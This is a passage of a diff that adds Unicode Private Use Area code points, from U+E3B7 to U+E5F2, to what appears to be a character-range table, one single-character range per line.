+ ["\uE3B7", "\uE3B7"], /* Private Use */
+ ["\uE3B8", "\uE3B8"], /* Private Use */
+ ["\uE3B9", "\uE3B9"], /* Private Use */
+ ["\uE3BA", "\uE3BA"], /* Private Use */
+ ["\uE3BB", "\uE3BB"], /* Private Use */
+ ["\uE3BC", "\uE3BC"], /* Private Use */
+ ["\uE3BD", "\uE3BD"], /* Private Use */
+ ["\uE3BE", "\uE3BE"], /* Private Use */
+ ["\uE3BF", "\uE3BF"], /* Private Use */
+ ["\uE3C0", "\uE3C0"], /* Private Use */
+ ["\uE3C1", "\uE3C1"], /* Private Use */
+ ["\uE3C2", "\uE3C2"], /* Private Use */
+ ["\uE3C3", "\uE3C3"], /* Private Use */
+ ["\uE3C4", "\uE3C4"], /* Private Use */
+ ["\uE3C5", "\uE3C5"], /* Private Use */
+ ["\uE3C6", "\uE3C6"], /* Private Use */
+ ["\uE3C7", "\uE3C7"], /* Private Use */
+ ["\uE3C8", "\uE3C8"], /* Private Use */
+ ["\uE3C9", "\uE3C9"], /* Private Use */
+ ["\uE3CA", "\uE3CA"], /* Private Use */
+ ["\uE3CB", "\uE3CB"], /* Private Use */
+ ["\uE3CC", "\uE3CC"], /* Private Use */
+ ["\uE3CD", "\uE3CD"], /* Private Use */
+ ["\uE3CE", "\uE3CE"], /* Private Use */
+ ["\uE3CF", "\uE3CF"], /* Private Use */
+ ["\uE3D0", "\uE3D0"], /* Private Use */
+ ["\uE3D1", "\uE3D1"], /* Private Use */
+ ["\uE3D2", "\uE3D2"], /* Private Use */
+ ["\uE3D3", "\uE3D3"], /* Private Use */
+ ["\uE3D4", "\uE3D4"], /* Private Use */
+ ["\uE3D5", "\uE3D5"], /* Private Use */
+ ["\uE3D6", "\uE3D6"], /* Private Use */
+ ["\uE3D7", "\uE3D7"], /* Private Use */
+ ["\uE3D8", "\uE3D8"], /* Private Use */
+ ["\uE3D9", "\uE3D9"], /* Private Use */
+ ["\uE3DA", "\uE3DA"], /* Private Use */
+ ["\uE3DB", "\uE3DB"], /* Private Use */
+ ["\uE3DC", "\uE3DC"], /* Private Use */
+ ["\uE3DD", "\uE3DD"], /* Private Use */
+ ["\uE3DE", "\uE3DE"], /* Private Use */
+ ["\uE3DF", "\uE3DF"], /* Private Use */
+ ["\uE3E0", "\uE3E0"], /* Private Use */
+ ["\uE3E1", "\uE3E1"], /* Private Use */
+ ["\uE3E2", "\uE3E2"], /* Private Use */
+ ["\uE3E3", "\uE3E3"], /* Private Use */
+ ["\uE3E4", "\uE3E4"], /* Private Use */
+ ["\uE3E5", "\uE3E5"], /* Private Use */
+ ["\uE3E6", "\uE3E6"], /* Private Use */
+ ["\uE3E7", "\uE3E7"], /* Private Use */
+ ["\uE3E8", "\uE3E8"], /* Private Use */
+ ["\uE3E9", "\uE3E9"], /* Private Use */
+ ["\uE3EA", "\uE3EA"], /* Private Use */
+ ["\uE3EB", "\uE3EB"], /* Private Use */
+ ["\uE3EC", "\uE3EC"], /* Private Use */
+ ["\uE3ED", "\uE3ED"], /* Private Use */
+ ["\uE3EE", "\uE3EE"], /* Private Use */
+ ["\uE3EF", "\uE3EF"], /* Private Use */
+ ["\uE3F0", "\uE3F0"], /* Private Use */
+ ["\uE3F1", "\uE3F1"], /* Private Use */
+ ["\uE3F2", "\uE3F2"], /* Private Use */
+ ["\uE3F3", "\uE3F3"], /* Private Use */
+ ["\uE3F4", "\uE3F4"], /* Private Use */
+ ["\uE3F5", "\uE3F5"], /* Private Use */
+ ["\uE3F6", "\uE3F6"], /* Private Use */
+ ["\uE3F7", "\uE3F7"], /* Private Use */
+ ["\uE3F8", "\uE3F8"], /* Private Use */
+ ["\uE3F9", "\uE3F9"], /* Private Use */
+ ["\uE3FA", "\uE3FA"], /* Private Use */
+ ["\uE3FB", "\uE3FB"], /* Private Use */
+ ["\uE3FC", "\uE3FC"], /* Private Use */
+ ["\uE3FD", "\uE3FD"], /* Private Use */
+ ["\uE3FE", "\uE3FE"], /* Private Use */
+ ["\uE3FF", "\uE3FF"], /* Private Use */
+ ["\uE400", "\uE400"], /* Private Use */
+ ["\uE401", "\uE401"], /* Private Use */
+ ["\uE402", "\uE402"], /* Private Use */
+ ["\uE403", "\uE403"], /* Private Use */
+ ["\uE404", "\uE404"], /* Private Use */
+ ["\uE405", "\uE405"], /* Private Use */
+ ["\uE406", "\uE406"], /* Private Use */
+ ["\uE407", "\uE407"], /* Private Use */
+ ["\uE408", "\uE408"], /* Private Use */
+ ["\uE409", "\uE409"], /* Private Use */
+ ["\uE40A", "\uE40A"], /* Private Use */
+ ["\uE40B", "\uE40B"], /* Private Use */
+ ["\uE40C", "\uE40C"], /* Private Use */
+ ["\uE40D", "\uE40D"], /* Private Use */
+ ["\uE40E", "\uE40E"], /* Private Use */
+ ["\uE40F", "\uE40F"], /* Private Use */
+ ["\uE410", "\uE410"], /* Private Use */
+ ["\uE411", "\uE411"], /* Private Use */
+ ["\uE412", "\uE412"], /* Private Use */
+ ["\uE413", "\uE413"], /* Private Use */
+ ["\uE414", "\uE414"], /* Private Use */
+ ["\uE415", "\uE415"], /* Private Use */
+ ["\uE416", "\uE416"], /* Private Use */
+ ["\uE417", "\uE417"], /* Private Use */
+ ["\uE418", "\uE418"], /* Private Use */
+ ["\uE419", "\uE419"], /* Private Use */
+ ["\uE41A", "\uE41A"], /* Private Use */
+ ["\uE41B", "\uE41B"], /* Private Use */
+ ["\uE41C", "\uE41C"], /* Private Use */
+ ["\uE41D", "\uE41D"], /* Private Use */
+ ["\uE41E", "\uE41E"], /* Private Use */
+ ["\uE41F", "\uE41F"], /* Private Use */
+ ["\uE420", "\uE420"], /* Private Use */
+ ["\uE421", "\uE421"], /* Private Use */
+ ["\uE422", "\uE422"], /* Private Use */
+ ["\uE423", "\uE423"], /* Private Use */
+ ["\uE424", "\uE424"], /* Private Use */
+ ["\uE425", "\uE425"], /* Private Use */
+ ["\uE426", "\uE426"], /* Private Use */
+ ["\uE427", "\uE427"], /* Private Use */
+ ["\uE428", "\uE428"], /* Private Use */
+ ["\uE429", "\uE429"], /* Private Use */
+ ["\uE42A", "\uE42A"], /* Private Use */
+ ["\uE42B", "\uE42B"], /* Private Use */
+ ["\uE42C", "\uE42C"], /* Private Use */
+ ["\uE42D", "\uE42D"], /* Private Use */
+ ["\uE42E", "\uE42E"], /* Private Use */
+ ["\uE42F", "\uE42F"], /* Private Use */
+ ["\uE430", "\uE430"], /* Private Use */
+ ["\uE431", "\uE431"], /* Private Use */
+ ["\uE432", "\uE432"], /* Private Use */
+ ["\uE433", "\uE433"], /* Private Use */
+ ["\uE434", "\uE434"], /* Private Use */
+ ["\uE435", "\uE435"], /* Private Use */
+ ["\uE436", "\uE436"], /* Private Use */
+ ["\uE437", "\uE437"], /* Private Use */
+ ["\uE438", "\uE438"], /* Private Use */
+ ["\uE439", "\uE439"], /* Private Use */
+ ["\uE43A", "\uE43A"], /* Private Use */
+ ["\uE43B", "\uE43B"], /* Private Use */
+ ["\uE43C", "\uE43C"], /* Private Use */
+ ["\uE43D", "\uE43D"], /* Private Use */
+ ["\uE43E", "\uE43E"], /* Private Use */
+ ["\uE43F", "\uE43F"], /* Private Use */
+ ["\uE440", "\uE440"], /* Private Use */
+ ["\uE441", "\uE441"], /* Private Use */
+ ["\uE442", "\uE442"], /* Private Use */
+ ["\uE443", "\uE443"], /* Private Use */
+ ["\uE444", "\uE444"], /* Private Use */
+ ["\uE445", "\uE445"], /* Private Use */
+ ["\uE446", "\uE446"], /* Private Use */
+ ["\uE447", "\uE447"], /* Private Use */
+ ["\uE448", "\uE448"], /* Private Use */
+ ["\uE449", "\uE449"], /* Private Use */
+ ["\uE44A", "\uE44A"], /* Private Use */
+ ["\uE44B", "\uE44B"], /* Private Use */
+ ["\uE44C", "\uE44C"], /* Private Use */
+ ["\uE44D", "\uE44D"], /* Private Use */
+ ["\uE44E", "\uE44E"], /* Private Use */
+ ["\uE44F", "\uE44F"], /* Private Use */
+ ["\uE450", "\uE450"], /* Private Use */
+ ["\uE451", "\uE451"], /* Private Use */
+ ["\uE452", "\uE452"], /* Private Use */
+ ["\uE453", "\uE453"], /* Private Use */
+ ["\uE454", "\uE454"], /* Private Use */
+ ["\uE455", "\uE455"], /* Private Use */
+ ["\uE456", "\uE456"], /* Private Use */
+ ["\uE457", "\uE457"], /* Private Use */
+ ["\uE458", "\uE458"], /* Private Use */
+ ["\uE459", "\uE459"], /* Private Use */
+ ["\uE45A", "\uE45A"], /* Private Use */
+ ["\uE45B", "\uE45B"], /* Private Use */
+ ["\uE45C", "\uE45C"], /* Private Use */
+ ["\uE45D", "\uE45D"], /* Private Use */
+ ["\uE45E", "\uE45E"], /* Private Use */
+ ["\uE45F", "\uE45F"], /* Private Use */
+ ["\uE460", "\uE460"], /* Private Use */
+ ["\uE461", "\uE461"], /* Private Use */
+ ["\uE462", "\uE462"], /* Private Use */
+ ["\uE463", "\uE463"], /* Private Use */
+ ["\uE464", "\uE464"], /* Private Use */
+ ["\uE465", "\uE465"], /* Private Use */
+ ["\uE466", "\uE466"], /* Private Use */
+ ["\uE467", "\uE467"], /* Private Use */
+ ["\uE468", "\uE468"], /* Private Use */
+ ["\uE469", "\uE469"], /* Private Use */
+ ["\uE46A", "\uE46A"], /* Private Use */
+ ["\uE46B", "\uE46B"], /* Private Use */
+ ["\uE46C", "\uE46C"], /* Private Use */
+ ["\uE46D", "\uE46D"], /* Private Use */
+ ["\uE46E", "\uE46E"], /* Private Use */
+ ["\uE46F", "\uE46F"], /* Private Use */
+ ["\uE470", "\uE470"], /* Private Use */
+ ["\uE471", "\uE471"], /* Private Use */
+ ["\uE472", "\uE472"], /* Private Use */
+ ["\uE473", "\uE473"], /* Private Use */
+ ["\uE474", "\uE474"], /* Private Use */
+ ["\uE475", "\uE475"], /* Private Use */
+ ["\uE476", "\uE476"], /* Private Use */
+ ["\uE477", "\uE477"], /* Private Use */
+ ["\uE478", "\uE478"], /* Private Use */
+ ["\uE479", "\uE479"], /* Private Use */
+ ["\uE47A", "\uE47A"], /* Private Use */
+ ["\uE47B", "\uE47B"], /* Private Use */
+ ["\uE47C", "\uE47C"], /* Private Use */
+ ["\uE47D", "\uE47D"], /* Private Use */
+ ["\uE47E", "\uE47E"], /* Private Use */
+ ["\uE47F", "\uE47F"], /* Private Use */
+ ["\uE480", "\uE480"], /* Private Use */
+ ["\uE481", "\uE481"], /* Private Use */
+ ["\uE482", "\uE482"], /* Private Use */
+ ["\uE483", "\uE483"], /* Private Use */
+ ["\uE484", "\uE484"], /* Private Use */
+ ["\uE485", "\uE485"], /* Private Use */
+ ["\uE486", "\uE486"], /* Private Use */
+ ["\uE487", "\uE487"], /* Private Use */
+ ["\uE488", "\uE488"], /* Private Use */
+ ["\uE489", "\uE489"], /* Private Use */
+ ["\uE48A", "\uE48A"], /* Private Use */
+ ["\uE48B", "\uE48B"], /* Private Use */
+ ["\uE48C", "\uE48C"], /* Private Use */
+ ["\uE48D", "\uE48D"], /* Private Use */
+ ["\uE48E", "\uE48E"], /* Private Use */
+ ["\uE48F", "\uE48F"], /* Private Use */
+ ["\uE490", "\uE490"], /* Private Use */
+ ["\uE491", "\uE491"], /* Private Use */
+ ["\uE492", "\uE492"], /* Private Use */
+ ["\uE493", "\uE493"], /* Private Use */
+ ["\uE494", "\uE494"], /* Private Use */
+ ["\uE495", "\uE495"], /* Private Use */
+ ["\uE496", "\uE496"], /* Private Use */
+ ["\uE497", "\uE497"], /* Private Use */
+ ["\uE498", "\uE498"], /* Private Use */
+ ["\uE499", "\uE499"], /* Private Use */
+ ["\uE49A", "\uE49A"], /* Private Use */
+ ["\uE49B", "\uE49B"], /* Private Use */
+ ["\uE49C", "\uE49C"], /* Private Use */
+ ["\uE49D", "\uE49D"], /* Private Use */
+ ["\uE49E", "\uE49E"], /* Private Use */
+ ["\uE49F", "\uE49F"], /* Private Use */
+ ["\uE4A0", "\uE4A0"], /* Private Use */
+ ["\uE4A1", "\uE4A1"], /* Private Use */
+ ["\uE4A2", "\uE4A2"], /* Private Use */
+ ["\uE4A3", "\uE4A3"], /* Private Use */
+ ["\uE4A4", "\uE4A4"], /* Private Use */
+ ["\uE4A5", "\uE4A5"], /* Private Use */
+ ["\uE4A6", "\uE4A6"], /* Private Use */
+ ["\uE4A7", "\uE4A7"], /* Private Use */
+ ["\uE4A8", "\uE4A8"], /* Private Use */
+ ["\uE4A9", "\uE4A9"], /* Private Use */
+ ["\uE4AA", "\uE4AA"], /* Private Use */
+ ["\uE4AB", "\uE4AB"], /* Private Use */
+ ["\uE4AC", "\uE4AC"], /* Private Use */
+ ["\uE4AD", "\uE4AD"], /* Private Use */
+ ["\uE4AE", "\uE4AE"], /* Private Use */
+ ["\uE4AF", "\uE4AF"], /* Private Use */
+ ["\uE4B0", "\uE4B0"], /* Private Use */
+ ["\uE4B1", "\uE4B1"], /* Private Use */
+ ["\uE4B2", "\uE4B2"], /* Private Use */
+ ["\uE4B3", "\uE4B3"], /* Private Use */
+ ["\uE4B4", "\uE4B4"], /* Private Use */
+ ["\uE4B5", "\uE4B5"], /* Private Use */
+ ["\uE4B6", "\uE4B6"], /* Private Use */
+ ["\uE4B7", "\uE4B7"], /* Private Use */
+ ["\uE4B8", "\uE4B8"], /* Private Use */
+ ["\uE4B9", "\uE4B9"], /* Private Use */
+ ["\uE4BA", "\uE4BA"], /* Private Use */
+ ["\uE4BB", "\uE4BB"], /* Private Use */
+ ["\uE4BC", "\uE4BC"], /* Private Use */
+ ["\uE4BD", "\uE4BD"], /* Private Use */
+ ["\uE4BE", "\uE4BE"], /* Private Use */
+ ["\uE4BF", "\uE4BF"], /* Private Use */
+ ["\uE4C0", "\uE4C0"], /* Private Use */
+ ["\uE4C1", "\uE4C1"], /* Private Use */
+ ["\uE4C2", "\uE4C2"], /* Private Use */
+ ["\uE4C3", "\uE4C3"], /* Private Use */
+ ["\uE4C4", "\uE4C4"], /* Private Use */
+ ["\uE4C5", "\uE4C5"], /* Private Use */
+ ["\uE4C6", "\uE4C6"], /* Private Use */
+ ["\uE4C7", "\uE4C7"], /* Private Use */
+ ["\uE4C8", "\uE4C8"], /* Private Use */
+ ["\uE4C9", "\uE4C9"], /* Private Use */
+ ["\uE4CA", "\uE4CA"], /* Private Use */
+ ["\uE4CB", "\uE4CB"], /* Private Use */
+ ["\uE4CC", "\uE4CC"], /* Private Use */
+ ["\uE4CD", "\uE4CD"], /* Private Use */
+ ["\uE4CE", "\uE4CE"], /* Private Use */
+ ["\uE4CF", "\uE4CF"], /* Private Use */
+ ["\uE4D0", "\uE4D0"], /* Private Use */
+ ["\uE4D1", "\uE4D1"], /* Private Use */
+ ["\uE4D2", "\uE4D2"], /* Private Use */
+ ["\uE4D3", "\uE4D3"], /* Private Use */
+ ["\uE4D4", "\uE4D4"], /* Private Use */
+ ["\uE4D5", "\uE4D5"], /* Private Use */
+ ["\uE4D6", "\uE4D6"], /* Private Use */
+ ["\uE4D7", "\uE4D7"], /* Private Use */
+ ["\uE4D8", "\uE4D8"], /* Private Use */
+ ["\uE4D9", "\uE4D9"], /* Private Use */
+ ["\uE4DA", "\uE4DA"], /* Private Use */
+ ["\uE4DB", "\uE4DB"], /* Private Use */
+ ["\uE4DC", "\uE4DC"], /* Private Use */
+ ["\uE4DD", "\uE4DD"], /* Private Use */
+ ["\uE4DE", "\uE4DE"], /* Private Use */
+ ["\uE4DF", "\uE4DF"], /* Private Use */
+ ["\uE4E0", "\uE4E0"], /* Private Use */
+ ["\uE4E1", "\uE4E1"], /* Private Use */
+ ["\uE4E2", "\uE4E2"], /* Private Use */
+ ["\uE4E3", "\uE4E3"], /* Private Use */
+ ["\uE4E4", "\uE4E4"], /* Private Use */
+ ["\uE4E5", "\uE4E5"], /* Private Use */
+ ["\uE4E6", "\uE4E6"], /* Private Use */
+ ["\uE4E7", "\uE4E7"], /* Private Use */
+ ["\uE4E8", "\uE4E8"], /* Private Use */
+ ["\uE4E9", "\uE4E9"], /* Private Use */
+ ["\uE4EA", "\uE4EA"], /* Private Use */
+ ["\uE4EB", "\uE4EB"], /* Private Use */
+ ["\uE4EC", "\uE4EC"], /* Private Use */
+ ["\uE4ED", "\uE4ED"], /* Private Use */
+ ["\uE4EE", "\uE4EE"], /* Private Use */
+ ["\uE4EF", "\uE4EF"], /* Private Use */
+ ["\uE4F0", "\uE4F0"], /* Private Use */
+ ["\uE4F1", "\uE4F1"], /* Private Use */
+ ["\uE4F2", "\uE4F2"], /* Private Use */
+ ["\uE4F3", "\uE4F3"], /* Private Use */
+ ["\uE4F4", "\uE4F4"], /* Private Use */
+ ["\uE4F5", "\uE4F5"], /* Private Use */
+ ["\uE4F6", "\uE4F6"], /* Private Use */
+ ["\uE4F7", "\uE4F7"], /* Private Use */
+ ["\uE4F8", "\uE4F8"], /* Private Use */
+ ["\uE4F9", "\uE4F9"], /* Private Use */
+ ["\uE4FA", "\uE4FA"], /* Private Use */
+ ["\uE4FB", "\uE4FB"], /* Private Use */
+ ["\uE4FC", "\uE4FC"], /* Private Use */
+ ["\uE4FD", "\uE4FD"], /* Private Use */
+ ["\uE4FE", "\uE4FE"], /* Private Use */
+ ["\uE4FF", "\uE4FF"], /* Private Use */
+ ["\uE500", "\uE500"], /* Private Use */
+ ["\uE501", "\uE501"], /* Private Use */
+ ["\uE502", "\uE502"], /* Private Use */
+ ["\uE503", "\uE503"], /* Private Use */
+ ["\uE504", "\uE504"], /* Private Use */
+ ["\uE505", "\uE505"], /* Private Use */
+ ["\uE506", "\uE506"], /* Private Use */
+ ["\uE507", "\uE507"], /* Private Use */
+ ["\uE508", "\uE508"], /* Private Use */
+ ["\uE509", "\uE509"], /* Private Use */
+ ["\uE50A", "\uE50A"], /* Private Use */
+ ["\uE50B", "\uE50B"], /* Private Use */
+ ["\uE50C", "\uE50C"], /* Private Use */
+ ["\uE50D", "\uE50D"], /* Private Use */
+ ["\uE50E", "\uE50E"], /* Private Use */
+ ["\uE50F", "\uE50F"], /* Private Use */
+ ["\uE510", "\uE510"], /* Private Use */
+ ["\uE511", "\uE511"], /* Private Use */
+ ["\uE512", "\uE512"], /* Private Use */
+ ["\uE513", "\uE513"], /* Private Use */
+ ["\uE514", "\uE514"], /* Private Use */
+ ["\uE515", "\uE515"], /* Private Use */
+ ["\uE516", "\uE516"], /* Private Use */
+ ["\uE517", "\uE517"], /* Private Use */
+ ["\uE518", "\uE518"], /* Private Use */
+ ["\uE519", "\uE519"], /* Private Use */
+ ["\uE51A", "\uE51A"], /* Private Use */
+ ["\uE51B", "\uE51B"], /* Private Use */
+ ["\uE51C", "\uE51C"], /* Private Use */
+ ["\uE51D", "\uE51D"], /* Private Use */
+ ["\uE51E", "\uE51E"], /* Private Use */
+ ["\uE51F", "\uE51F"], /* Private Use */
+ ["\uE520", "\uE520"], /* Private Use */
+ ["\uE521", "\uE521"], /* Private Use */
+ ["\uE522", "\uE522"], /* Private Use */
+ ["\uE523", "\uE523"], /* Private Use */
+ ["\uE524", "\uE524"], /* Private Use */
+ ["\uE525", "\uE525"], /* Private Use */
+ ["\uE526", "\uE526"], /* Private Use */
+ ["\uE527", "\uE527"], /* Private Use */
+ ["\uE528", "\uE528"], /* Private Use */
+ ["\uE529", "\uE529"], /* Private Use */
+ ["\uE52A", "\uE52A"], /* Private Use */
+ ["\uE52B", "\uE52B"], /* Private Use */
+ ["\uE52C", "\uE52C"], /* Private Use */
+ ["\uE52D", "\uE52D"], /* Private Use */
+ ["\uE52E", "\uE52E"], /* Private Use */
+ ["\uE52F", "\uE52F"], /* Private Use */
+ ["\uE530", "\uE530"], /* Private Use */
+ ["\uE531", "\uE531"], /* Private Use */
+ ["\uE532", "\uE532"], /* Private Use */
+ ["\uE533", "\uE533"], /* Private Use */
+ ["\uE534", "\uE534"], /* Private Use */
+ ["\uE535", "\uE535"], /* Private Use */
+ ["\uE536", "\uE536"], /* Private Use */
+ ["\uE537", "\uE537"], /* Private Use */
+ ["\uE538", "\uE538"], /* Private Use */
+ ["\uE539", "\uE539"], /* Private Use */
+ ["\uE53A", "\uE53A"], /* Private Use */
+ ["\uE53B", "\uE53B"], /* Private Use */
+ ["\uE53C", "\uE53C"], /* Private Use */
+ ["\uE53D", "\uE53D"], /* Private Use */
+ ["\uE53E", "\uE53E"], /* Private Use */
+ ["\uE53F", "\uE53F"], /* Private Use */
+ ["\uE540", "\uE540"], /* Private Use */
+ ["\uE541", "\uE541"], /* Private Use */
+ ["\uE542", "\uE542"], /* Private Use */
+ ["\uE543", "\uE543"], /* Private Use */
+ ["\uE544", "\uE544"], /* Private Use */
+ ["\uE545", "\uE545"], /* Private Use */
+ ["\uE546", "\uE546"], /* Private Use */
+ ["\uE547", "\uE547"], /* Private Use */
+ ["\uE548", "\uE548"], /* Private Use */
+ ["\uE549", "\uE549"], /* Private Use */
+ ["\uE54A", "\uE54A"], /* Private Use */
+ ["\uE54B", "\uE54B"], /* Private Use */
+ ["\uE54C", "\uE54C"], /* Private Use */
+ ["\uE54D", "\uE54D"], /* Private Use */
+ ["\uE54E", "\uE54E"], /* Private Use */
+ ["\uE54F", "\uE54F"], /* Private Use */
+ ["\uE550", "\uE550"], /* Private Use */
+ ["\uE551", "\uE551"], /* Private Use */
+ ["\uE552", "\uE552"], /* Private Use */
+ ["\uE553", "\uE553"], /* Private Use */
+ ["\uE554", "\uE554"], /* Private Use */
+ ["\uE555", "\uE555"], /* Private Use */
+ ["\uE556", "\uE556"], /* Private Use */
+ ["\uE557", "\uE557"], /* Private Use */
+ ["\uE558", "\uE558"], /* Private Use */
+ ["\uE559", "\uE559"], /* Private Use */
+ ["\uE55A", "\uE55A"], /* Private Use */
+ ["\uE55B", "\uE55B"], /* Private Use */
+ ["\uE55C", "\uE55C"], /* Private Use */
+ ["\uE55D", "\uE55D"], /* Private Use */
+ ["\uE55E", "\uE55E"], /* Private Use */
+ ["\uE55F", "\uE55F"], /* Private Use */
+ ["\uE560", "\uE560"], /* Private Use */
+ ["\uE561", "\uE561"], /* Private Use */
+ ["\uE562", "\uE562"], /* Private Use */
+ ["\uE563", "\uE563"], /* Private Use */
+ ["\uE564", "\uE564"], /* Private Use */
+ ["\uE565", "\uE565"], /* Private Use */
+ ["\uE566", "\uE566"], /* Private Use */
+ ["\uE567", "\uE567"], /* Private Use */
+ ["\uE568", "\uE568"], /* Private Use */
+ ["\uE569", "\uE569"], /* Private Use */
+ ["\uE56A", "\uE56A"], /* Private Use */
+ ["\uE56B", "\uE56B"], /* Private Use */
+ ["\uE56C", "\uE56C"], /* Private Use */
+ ["\uE56D", "\uE56D"], /* Private Use */
+ ["\uE56E", "\uE56E"], /* Private Use */
+ ["\uE56F", "\uE56F"], /* Private Use */
+ ["\uE570", "\uE570"], /* Private Use */
+ ["\uE571", "\uE571"], /* Private Use */
+ ["\uE572", "\uE572"], /* Private Use */
+ ["\uE573", "\uE573"], /* Private Use */
+ ["\uE574", "\uE574"], /* Private Use */
+ ["\uE575", "\uE575"], /* Private Use */
+ ["\uE576", "\uE576"], /* Private Use */
+ ["\uE577", "\uE577"], /* Private Use */
+ ["\uE578", "\uE578"], /* Private Use */
+ ["\uE579", "\uE579"], /* Private Use */
+ ["\uE57A", "\uE57A"], /* Private Use */
+ ["\uE57B", "\uE57B"], /* Private Use */
+ ["\uE57C", "\uE57C"], /* Private Use */
+ ["\uE57D", "\uE57D"], /* Private Use */
+ ["\uE57E", "\uE57E"], /* Private Use */
+ ["\uE57F", "\uE57F"], /* Private Use */
+ ["\uE580", "\uE580"], /* Private Use */
+ ["\uE581", "\uE581"], /* Private Use */
+ ["\uE582", "\uE582"], /* Private Use */
+ ["\uE583", "\uE583"], /* Private Use */
+ ["\uE584", "\uE584"], /* Private Use */
+ ["\uE585", "\uE585"], /* Private Use */
+ ["\uE586", "\uE586"], /* Private Use */
+ ["\uE587", "\uE587"], /* Private Use */
+ ["\uE588", "\uE588"], /* Private Use */
+ ["\uE589", "\uE589"], /* Private Use */
+ ["\uE58A", "\uE58A"], /* Private Use */
+ ["\uE58B", "\uE58B"], /* Private Use */
+ ["\uE58C", "\uE58C"], /* Private Use */
+ ["\uE58D", "\uE58D"], /* Private Use */
+ ["\uE58E", "\uE58E"], /* Private Use */
+ ["\uE58F", "\uE58F"], /* Private Use */
+ ["\uE590", "\uE590"], /* Private Use */
+ ["\uE591", "\uE591"], /* Private Use */
+ ["\uE592", "\uE592"], /* Private Use */
+ ["\uE593", "\uE593"], /* Private Use */
+ ["\uE594", "\uE594"], /* Private Use */
+ ["\uE595", "\uE595"], /* Private Use */
+ ["\uE596", "\uE596"], /* Private Use */
+ ["\uE597", "\uE597"], /* Private Use */
+ ["\uE598", "\uE598"], /* Private Use */
+ ["\uE599", "\uE599"], /* Private Use */
+ ["\uE59A", "\uE59A"], /* Private Use */
+ ["\uE59B", "\uE59B"], /* Private Use */
+ ["\uE59C", "\uE59C"], /* Private Use */
+ ["\uE59D", "\uE59D"], /* Private Use */
+ ["\uE59E", "\uE59E"], /* Private Use */
+ ["\uE59F", "\uE59F"], /* Private Use */
+ ["\uE5A0", "\uE5A0"], /* Private Use */
+ ["\uE5A1", "\uE5A1"], /* Private Use */
+ ["\uE5A2", "\uE5A2"], /* Private Use */
+ ["\uE5A3", "\uE5A3"], /* Private Use */
+ ["\uE5A4", "\uE5A4"], /* Private Use */
+ ["\uE5A5", "\uE5A5"], /* Private Use */
+ ["\uE5A6", "\uE5A6"], /* Private Use */
+ ["\uE5A7", "\uE5A7"], /* Private Use */
+ ["\uE5A8", "\uE5A8"], /* Private Use */
+ ["\uE5A9", "\uE5A9"], /* Private Use */
+ ["\uE5AA", "\uE5AA"], /* Private Use */
+ ["\uE5AB", "\uE5AB"], /* Private Use */
+ ["\uE5AC", "\uE5AC"], /* Private Use */
+ ["\uE5AD", "\uE5AD"], /* Private Use */
+ ["\uE5AE", "\uE5AE"], /* Private Use */
+ ["\uE5AF", "\uE5AF"], /* Private Use */
+ ["\uE5B0", "\uE5B0"], /* Private Use */
+ ["\uE5B1", "\uE5B1"], /* Private Use */
+ ["\uE5B2", "\uE5B2"], /* Private Use */
+ ["\uE5B3", "\uE5B3"], /* Private Use */
+ ["\uE5B4", "\uE5B4"], /* Private Use */
+ ["\uE5B5", "\uE5B5"], /* Private Use */
+ ["\uE5B6", "\uE5B6"], /* Private Use */
+ ["\uE5B7", "\uE5B7"], /* Private Use */
+ ["\uE5B8", "\uE5B8"], /* Private Use */
+ ["\uE5B9", "\uE5B9"], /* Private Use */
+ ["\uE5BA", "\uE5BA"], /* Private Use */
+ ["\uE5BB", "\uE5BB"], /* Private Use */
+ ["\uE5BC", "\uE5BC"], /* Private Use */
+ ["\uE5BD", "\uE5BD"], /* Private Use */
+ ["\uE5BE", "\uE5BE"], /* Private Use */
+ ["\uE5BF", "\uE5BF"], /* Private Use */
+ ["\uE5C0", "\uE5C0"], /* Private Use */
+ ["\uE5C1", "\uE5C1"], /* Private Use */
+ ["\uE5C2", "\uE5C2"], /* Private Use */
+ ["\uE5C3", "\uE5C3"], /* Private Use */
+ ["\uE5C4", "\uE5C4"], /* Private Use */
+ ["\uE5C5", "\uE5C5"], /* Private Use */
+ ["\uE5C6", "\uE5C6"], /* Private Use */
+ ["\uE5C7", "\uE5C7"], /* Private Use */
+ ["\uE5C8", "\uE5C8"], /* Private Use */
+ ["\uE5C9", "\uE5C9"], /* Private Use */
+ ["\uE5CA", "\uE5CA"], /* Private Use */
+ ["\uE5CB", "\uE5CB"], /* Private Use */
+ ["\uE5CC", "\uE5CC"], /* Private Use */
+ ["\uE5CD", "\uE5CD"], /* Private Use */
+ ["\uE5CE", "\uE5CE"], /* Private Use */
+ ["\uE5CF", "\uE5CF"], /* Private Use */
+ ["\uE5D0", "\uE5D0"], /* Private Use */
+ ["\uE5D1", "\uE5D1"], /* Private Use */
+ ["\uE5D2", "\uE5D2"], /* Private Use */
+ ["\uE5D3", "\uE5D3"], /* Private Use */
+ ["\uE5D4", "\uE5D4"], /* Private Use */
+ ["\uE5D5", "\uE5D5"], /* Private Use */
+ ["\uE5D6", "\uE5D6"], /* Private Use */
+ ["\uE5D7", "\uE5D7"], /* Private Use */
+ ["\uE5D8", "\uE5D8"], /* Private Use */
+ ["\uE5D9", "\uE5D9"], /* Private Use */
+ ["\uE5DA", "\uE5DA"], /* Private Use */
+ ["\uE5DB", "\uE5DB"], /* Private Use */
+ ["\uE5DC", "\uE5DC"], /* Private Use */
+ ["\uE5DD", "\uE5DD"], /* Private Use */
+ ["\uE5DE", "\uE5DE"], /* Private Use */
+ ["\uE5DF", "\uE5DF"], /* Private Use */
+ ["\uE5E0", "\uE5E0"], /* Private Use */
+ ["\uE5E1", "\uE5E1"], /* Private Use */
+ ["\uE5E2", "\uE5E2"], /* Private Use */
+ ["\uE5E3", "\uE5E3"], /* Private Use */
+ ["\uE5E4", "\uE5E4"], /* Private Use */
+ ["\uE5E5", "\uE5E5"], /* Private Use */
+ ["\uE5E6", "\uE5E6"], /* Private Use */
+ ["\uE5E7", "\uE5E7"], /* Private Use */
+ ["\uE5E8", "\uE5E8"], /* Private Use */
+ ["\uE5E9", "\uE5E9"], /* Private Use */
+ ["\uE5EA", "\uE5EA"], /* Private Use */
+ ["\uE5EB", "\uE5EB"], /* Private Use */
+ ["\uE5EC", "\uE5EC"], /* Private Use */
+ ["\uE5ED", "\uE5ED"], /* Private Use */
+ ["\uE5EE", "\uE5EE"], /* Private Use */
+ ["\uE5EF", "\uE5EF"], /* Private Use */
+ ["\uE5F0", "\uE5F0"], /* Private Use */
+ ["\uE5F1", "\uE5F1"], /* Private Use */
+ ["\uE5F2", "\uE5F2"], /* Private Use */
